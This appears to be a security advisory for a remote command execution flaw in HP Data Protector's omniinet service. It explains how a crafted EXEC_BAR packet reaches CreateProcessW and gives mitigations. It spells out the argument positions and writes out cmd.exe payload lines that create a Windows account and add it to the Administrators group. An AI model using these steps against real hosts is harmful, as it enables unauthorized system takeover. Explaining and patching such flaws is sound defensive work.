HP Data Protector EXEC_BAR Remote Command Execution

The omniinet service in HP Data Protector is vulnerable to remote command execution. By sending a malicious EXEC_BAR packet, an attacker can force the service to run arbitrary commands on the target system. This can lead to complete compromise of the remote host. The vulnerability can be exploited by sending two specific arguments to the omniinet service. The exploit creates a new Windows account and adds it to the local Administrators group.

Mitigation:

Apply the necessary patches and updates provided by the vendor. Ensure that the omniinet service is not exposed to the internet or untrusted networks. Implement network segmentation and access controls to limit access to the service.

Details:

The omniinet service, which runs by default on port 5555, is susceptible
to numerous remotely exploitable vulnerabilities. By sending a malicious
EXEC_BAR packet (opcode 11), a remote attacker can force the omniinet
service to run an arbitrary command. On Windows, the omniinet service is
running as SYSTEM. This allows for complete compromise of the remote
host. 

To exploit this vulnerability, you only need to send two specific arguments. 
Omniinet has an argument parser that will extract these out and 
eventually pass them to a call to CreateProcessW via the lpCommandLine 
parameter. 

When a packet is sent to the omniinet service, it will check the opcode
and look up an associated function to call based on the opcode in a table
of function pointers. The function to handle EXEC_BAR packets requires that
the packet contain at least 19 arguments. The 18th argument will be the
command we want to execute, and the 19th will be an argument we can pass to 
the command we are executing. This exploit will create a new windows account 
and add it to the local Administrators group. This means that lpCommandLine 
that gets passed to CreateProcess will need to look like:

'c:\windows\system32\cmd.exe' '/c net user usr p@ss!23 /add'
and
'c:\windows\system32\cmd.exe' '/c net localgroup Administrators usr /add'

Note: The 19th value has size constraints so it needs to be as short of a 
string as possible.
